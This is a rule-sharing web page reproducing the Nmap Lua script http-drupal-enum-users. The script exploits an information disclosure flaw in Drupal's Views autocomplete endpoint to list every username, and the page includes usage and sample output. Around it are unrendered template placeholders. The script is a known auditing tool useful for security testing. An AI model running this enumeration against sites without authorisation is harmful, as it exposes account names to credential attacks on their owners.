http-drupal-enum-users

NSE detection rule by Hani Benhabiles · Same as Nmap--See https://nmap.org/book/man-legal.html

Enumerates Drupal users by exploiting an information disclosure vulnerability in Views, Drupal's most popular module. Requests to admin/views/ajax/autocomplete/user/STRING return all usernames that begin with STRING. The script works by iterating STRING over letters to extract all usernames. For more information,see: * http://www.madirish.net/node/465

local http = require "http"
local json = require "json"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

description = [[
Enumerates Drupal users by exploiting an information disclosure vulnerability
in Views, Drupal's most popular module.

Requests to admin/views/ajax/autocomplete/user/STRING return all usernames that
begin with STRING. The script works by iterating STRING over letters to extract
all usernames.

For more information,see:
* http://www.madirish.net/node/465
]]

---
-- @see http-vuln-cve2014-3704.nse
--
-- @usage
-- nmap --script=http-drupal-enum-users --script-args http-drupal-enum-users.root="/path/" <targets>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-drupal-enum-users:
-- |   admin
-- |   alex
-- |   manager
-- |_  user
--
-- @args http-drupal-enum-users.root base path. Defaults to "/"

author = "Hani Benhabiles"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}


portrule = shortport.http

action = function(host, port)
  local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
  local character, allrequests,user
  local result = {}

  -- ensure that root ends with a trailing slash
  if ( not(root:match(".*/$")) ) then
    root = root .. "/"
  end

  -- characters that usernames may begin with
  -- + is space in url
  local characters = "abcdefghijklmnopqrstuvwxyz.-123456789+"

  for character in characters:gmatch(".") do
    -- add request to pipeline
    allrequests = http.pipeline_add(root.. 'admin/views/ajax/autocomplete/user/' .. character, nil, allrequests, "GET")
  end

  -- send requests
  local pipeline_responses = http.pipeline_go(host, port, allrequests)
  if not pipeline_responses then
    stdnse.debug1("No answers from pipelined requests")
    return nil
  end

  for i, response in pairs(pipeline_responses) do
    if response.status == 200 then
      local status, info = json.parse(response.body)
      if status then
        for _,user in pairs(info) do
          if user ~= "Anonymous" then
            table.insert(result, user)
          end
        end
      end
    end
  end
  return stdnse.format_output(true, result)
end

[[ currentRule.title && currentRule.title.length > 60 ? currentRule.title.slice(0, 60) + '…' : currentRule.title ]]

ede29da4-e935-4993-8dcf-fca2c5dc8a89

Propose edits, view related rules, and engage with the community through comments.

Executable code, not a declarative rule

This submission is arbitrary [[ currentRule.format ? currentRule.format.toUpperCase() : '' ]] code, not a declarative detection rule — review it as you would any script before running it, and note that it cannot be safely aggregated or auto-executed alongside YARA/Sigma/Suricata/CRS rules.

Rejected pattern present

[[ reason ]]

What does this mean?

Format & documentation suggestions

Not a security issue — this rule is valid and was accepted as-is. These are optional fields/conventions its own format recommends, mainly affecting its quality score and how well it documents itself for other reviewers.

[[ reason ]]

What do these messages mean?

[[ currentRule.title && currentRule.title.length > 60 ? currentRule.title.slice(0, 60) + '…' : currentRule.title ]]

[[ currentRule.title ]]

Community Discussion